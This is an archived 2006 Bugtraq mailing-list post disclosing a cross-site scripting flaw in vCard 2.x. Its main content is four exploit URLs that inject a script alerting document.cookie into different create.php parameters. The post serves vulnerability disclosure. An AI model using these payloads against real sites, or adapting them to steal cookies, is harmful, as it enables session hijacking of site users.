| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: 11 Mar 2006 18:20:24 -0000 From: xx_hack_xx_2004@...mail.com To: bugtraq@...urityfocus.com Subject: XSS in vCard Hello Vulnerable: vCard 2.x http://www.belchiorfoundry.com Exploit : http://example.com/vcard/create.php?card_id='><script>alert(document.cookie)</script> http://example.com/vcard/create.php?uploaded='><script>alert(document.cookie)</script> http://example.com/vcard/create.php?card_fontsize='><script>alert(document.cookie)</script> http://example.com/vcard/create.php?card_color='><script>alert(document.cookie)</script> Discovery by Linux_Drox http://www.lezr.com Best Regards
Powered by blists - more mailing lists